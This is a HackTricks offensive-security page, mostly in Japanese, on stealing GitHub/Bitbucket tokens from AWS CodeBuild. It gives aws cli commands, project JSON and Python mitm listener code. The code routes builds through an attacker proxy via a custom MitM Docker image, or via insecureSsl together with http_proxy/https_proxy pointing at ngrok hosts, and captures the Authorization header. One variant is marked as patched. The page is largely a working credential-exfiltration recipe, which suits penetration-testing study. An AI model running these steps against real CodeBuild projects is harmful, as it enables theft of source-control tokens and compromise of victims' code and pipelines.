# AWS Codebuild - Token Leakage

{{#include ../../../../banners/hacktricks-training.md}}

## Recover Github/Bitbucket Configured Tokens

まず、leak できるソースの認証情報が設定されているか確認します:
```bash
aws codebuild list-source-credentials
```
### Docker Image を使用して

アカウントに例えば Github への認証情報が設定されている場合、Codebuild にプロジェクトのビルドを実行させる際に特定の Docker image を使用させることで、**exfiltrate** that **access** (**GH token or OAuth token**) できます。

この目的のために、**create a new Codebuild project** するか既存プロジェクトの **environment** を変更して **Docker image** を設定できます。

使用できる Docker image は [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的な Docker image で、**env variables `https_proxy`**, **`http_proxy`** および **`SSL_CERT_FILE`** を設定します。これにより **`https_proxy`** と **`http_proxy`** に指定したホストのほとんどのトラフィックを傍受でき、**`SSL_CERT_FILE`** に指定した SSL 証明書を信頼させることができます。

1. **Create & Upload your own Docker MitM image**
- リポジトリの指示に従って proxy の IP アドレスと SSL 証明書を設定し、**build the docker image** してください。
- メタデータエンドポイントへのリクエストを傍受しないように **DO NOT SET `http_proxy`** としてください。
- `ngrok` を使って `ngrok tcp 4444` のようにホストへプロキシを設定することができます（例）。
- Docker image をビルドしたら、**upload it to a public repo** (Dockerhub, ECR...) してください。
2. **Set the environment**
- **Create a new Codebuild project** するか、既存のプロジェクトの環境を **modify** してください。
- プロジェクトが **previously generated Docker image** を使用するように設定します。

<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>

3. **Set the MitM proxy in your host**

- **Github repo** に示されているように、次のようなものを使用できます:
```bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"
```
> [!TIP]
> 使用した **mitmproxy バージョンは 9.0.1** で、バージョン10では動作しない可能性が報告されています。

4. **ビルドを実行して資格情報をキャプチャする**

- トークンは **Authorization** ヘッダーで確認できます:

<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>

これは aws cli から次のようにして行うこともできます
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2
```
### insecureSSL 経由

**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、Web（コンソール）上では隠されていて、API からのみ変更できます.\
これを有効にすると、Codebuild はプラットフォームが提示するリポジトリの**証明書を検証せずに**接続できるようになります。

- まずは次のような方法で現在の設定を列挙する必要があります:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- 収集した情報を使って、プロジェクト設定 **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください（収集した設定から変更する必要があるのはこれだけです）。
- また、環境変数 **http_proxy** と **https_proxy** を tcp ngrok を指すように追加してください。例えば:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
```
- 次に、プロキシ変数 (http_proxy と https_proxy) が指すポートで [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本的な例を実行します
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 最後に、**Build the project** をクリックすると、**credentials** が **平文で送信されます** (base64) mitm ポートへ:

<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>

### ~~HTTP プロトコル経由~~

> [!TIP] > **この脆弱性は 2023 年 2 月 20 日の週のいつか（おそらく金曜日）に AWS によって修正されました。つまり、攻撃者はもう悪用できません :)**

攻撃者は**CodeBuild 上で権限が昇格していると、設定された Github/Bitbucket token を leak できる**、または権限が OAuth 経由で設定されている場合は、**コードにアクセスするために使用される一時的な OAuth token** を leak できます。

- 攻撃者は環境変数 **http_proxy** と **https_proxy** を CodeBuild プロジェクトに追加して自分のマシンを指すようにする可能性があります（例: `http://5.tcp.eu.ngrok.io:14972`）。

<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>

<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>

- 次に、github リポジトリの URL を HTTPS の代わりに HTTP を使うように変更します。例: `http://github.com/carlospolop-forks/TestActions`
- 次に、proxy 変数（http_proxy と https_proxy）が指すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の基本例を実行します。
```python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 次に、**Build the project** をクリックするか、コマンドラインからビルドを開始します:
```sh
aws codebuild start-build --project-name <proj-name>
```
- 最後に、**credentials** は **平文で送信されます**（base64）mitm ポートへ:

<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> これにより attacker は自分のマシンから token を使用でき、その token が持つすべての権限を列挙し、CodeBuild service を直接使うよりも簡単に (ab)use できます。

## webhook フィルタの誤設定による Untrusted PR 実行

PR-triggered webhook bypass chain（`ACTOR_ACCOUNT_ID` regex + untrusted PR execution）については、次を参照してください：

{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
